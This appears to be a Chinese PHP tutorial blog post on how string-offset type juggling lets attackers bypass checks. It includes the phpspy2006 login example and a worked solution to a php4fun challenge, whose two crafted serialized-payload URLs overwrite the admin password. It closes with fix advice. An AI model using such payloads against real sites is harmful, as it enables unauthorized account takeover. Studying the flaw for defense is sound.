由php中字符offset特征造成的绕过漏洞详解


Posted in PHP onJuly 07, 2017

php中的字符offset特性

php中的字符串存在一个非常有趣的特性,php中的字符串也可以像数组一样进行取值。

$test = "hello world";
echo $test[0];

最后的结果就是h。

但是上述的这种特性有时会有意想不到的效果,看下面这段代码

$mystr = "hello world";
echo $mystr["pass"];

上述的代码的输出结果是h.这是为什么呢?其实很简单,和很多其他的语言一样,字符串在php中也像数组一样可以使用下标取值。$mystr["pass"]中pass会被进行隐性类型转换为0,这样$mystr[0]的输出结果就是首字母h.
同样地,如果尝试如下的代码:

$mystr = "hello world";
echo $mystr["1pass"];

输出结果就是e.因为1pass会被隐性类型转换为1,$mystr[1]的输出结果就是第二个字母e.

字符特性造成的漏洞

下面这段代码是在在phpspy2006中用于判断登录时所使用的代码。

$admin['check'] = "1";
$admin['pass'] = "angel";
......
if($admin['check'] == "1") {
....
}

这样的验证逻辑如果利用上述的特性就很容易地就可以被绕过。$admin没有被初始定义为数组类型,那么当我们用字符串提交时phpsyp.php?admin=1abc时,php会取字符串1xxx的第一位,成功绕过if的条件判断。

上面那段代码是一个代码片段,接下来的这段代码是一段完整的逻辑代码,来自于php4fun中第5题,比较有意思。

<?php
# GOAL: overwrite password for admin (id=1)
#  Try to login as admin
# $yourInfo=array( //this is your user data in the db
# 'id' => 8,
# 'name' => 'jimbo18714',
# 'pass' => 'MAYBECHANGED',
# 'level' => 1
# );
require 'db.inc.php';

function mres($str)
{
 return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \'' . mres($userInfo['id']) . '\' AND pass = \'' . mres($userInfo['pass']) . '\';';

$result = mysql_query($query);
if (!$result || mysql_num_rows($result) < 1) {
 die('Invalid password!');
}

$row = mysql_fetch_assoc($result);
foreach ($row as $key => $value) {
 $userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if ($oldPass == $userInfo['pass']) {
 $userInfo['pass'] = $newPass;
 $query = 'UPDATE users SET pass = \'' . mres($newPass) . '\' WHERE id = \'' . mres($userInfo['id']) . '\';';
 mysql_query($query);
 echo 'Password Changed.';
} else {
 echo 'Invalid old password entered.';
}

这道题目网上也仅仅只是给了一个最终的答案,其中的原理都没有说或者没有说得很详细。其实原理就是上面讲到的php的字符特性。

题目要求很简单就是修改admin的密码,admin的id为1。我们需要思考以下几个问题:

  • 如何在更新的时候将id修改为1
  • $userInfo['pass'] = $newPass;这行代码有什么作用,为什么会在if判断语句中存在这种的代码

想通了这两个问题,那么最终的解决方法也有了。将id为8的用户的密码修改为8,然后传入一个userInfo的字符串‘8',突破查询防护,最后利用$userInfo['pass'] = $newPass将id修改为1。

最终的payload就是;

第一次提交, index.php?userInfo=a:2:{s:2:"id";i:8;s:4:"pass";s:12:"MAYBECHANGED";}&oldPass=MAYBECHANGED&newPass=8,目的是将id为8的用户的密码修改为8

第二次提交,index.php?userInfo=s:1:"8";&oldPass=8&newPass=1,这样序列化$userInfo得到的就是字符串‘8',即$userInfo = ‘8' ,这样数据库查询验证就可以通过。之后的if验证也可以通过,通过这行代码$userInfo['pass'] = $newPass;,由于$newpass的值为1,那么上述代码变为了$userInfo['pass'] = 1; ,$userInfo由于一个字符串类型,最后得到的是$userInfo='1' ,最后就可以更新id为1的用户的密码了。

修复方式

这种漏洞的修复方式也很简单,事先定义好数据类型同时在使用时最好检查一下所使用的数据类型是否和预期的一致。否则就会出现上述的绕过的问题。同时要控制好输入,对输入的数据要进行检查不要随意地使用。

参考

https://github.com/80vul/webzine/blob/master/webzine_0x06/PSTZine_0x06_0x03.txt

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
Gregarius中文日期格式问题解决办法
Apr 22 PHP
php实现的简单压缩英文字符串的代码
Apr 24 PHP
php str_pad 函数使用详解
Jan 13 PHP
PHP中10个不常见却非常有用的函数
Mar 21 PHP
fgetcvs在linux的问题
Jan 15 PHP
实用的简单PHP分页集合包括使用方法
Oct 21 PHP
php编写的简单页面跳转功能实现代码
Nov 27 PHP
php类中的各种拦截器用法分析
Nov 03 PHP
PHP将Excel导入数据库及数据库数据导出至Excel的方法
Jun 24 PHP
Yii2中OAuth扩展及QQ互联登录实现方法
May 16 PHP
Laravel框架验证码类用法实例分析
Sep 11 PHP
php数组函数array_push()、array_pop()及array_shift()简单用法示例
Jan 26 PHP
Laravel使用PHPQRCODE实现生成带有LOGO的二维码图片功能示例
Jul 07 #PHP
thinkPHP微信分享接口JSSDK用法实例
Jul 07 #PHP
微信开发之获取JSAPI TICKET
Jul 07 #PHP
Yii2第三方类库插件Imagine的安装和使用
Jul 06 #PHP
一个实用的php验证码类
Jul 06 #PHP
万能的php分页类
Jul 06 #PHP
PHP 实现从数据库导出到.csv文件方法
Jul 06 #PHP
You might like
PHP怎样调用MSSQL的存储过程
2006/10/09 PHP
PHP4和PHP5共存于一系统
2006/11/17 PHP
php自动获取目录下的模板的代码
2010/08/08 PHP
PHP小技巧之函数重载
2014/06/02 PHP
PHP使用Nginx实现反向代理
2017/09/20 PHP
另类调用flash无须激活的方法
2006/12/27 Javascript
关于用Jquery的height()、width()计算动态插入的IMG标签的宽高的问题
2010/12/08 Javascript
基于js disabled=&quot;false&quot;不起作用的解决办法
2013/06/26 Javascript
深入解读JavaScript中的Hoisting机制
2015/08/12 Javascript
基于Javascript实现文件实时加载进度的方法
2016/10/12 Javascript
javascript实现消灭星星小游戏简单版
2016/11/15 Javascript
JavaScript浏览器对象模型BOM(BrowserObjectModel)实例详解
2016/11/29 Javascript
Angular ui.bootstrap.pagination分页
2017/01/20 Javascript
AngularJs返回前一页面时刷新一次前面页面的方法
2018/10/09 Javascript
微信小程序学习笔记之跳转页面、传递参数获得数据操作图文详解
2019/03/28 Javascript
vue+element实现表格新增、编辑、删除功能
2019/05/28 Javascript
微信小程序使用自定义组件导航实现当前页面高亮
2020/01/02 Javascript
javascript实现简单搜索功能
2020/03/26 Javascript
[01:34]传奇从这开始 2016国际邀请赛中国区预选赛震撼开启
2016/06/26 DOTA
跟老齐学Python之模块的加载
2014/10/24 Python
安装python时MySQLdb报错的问题描述及解决方法
2018/03/20 Python
Python对数据进行插值和下采样的方法
2018/07/03 Python
Python3列表内置方法大全及示例代码小结
2019/05/10 Python
Python列表list常用内建函数实例小结
2019/10/22 Python
利用css3实现的简单的鼠标悬停按钮
2014/11/04 HTML / CSS
瑞典香水、须后水和美容产品购物网站:Parfym-Klick.se
2019/12/29 全球购物
普通党员整改措施
2014/10/24 职场文书
村党的群众路线教育实践活动工作总结
2014/10/25 职场文书
教师先进事迹材料
2014/12/16 职场文书
幼儿园国庆节活动总结
2015/03/23 职场文书
2015年征兵工作总结
2015/07/23 职场文书
新课程改革心得体会
2016/01/22 职场文书
CSS3实现模糊背景的三种效果示例
2021/03/30 HTML / CSS
MySQL中的隐藏列的具体查看
2021/09/04 MySQL
教你如何让spark sql写mysql的时候支持update操作
2022/02/15 MySQL
Java实现经典游戏泡泡堂的示例代码
2022/04/04 Java/Android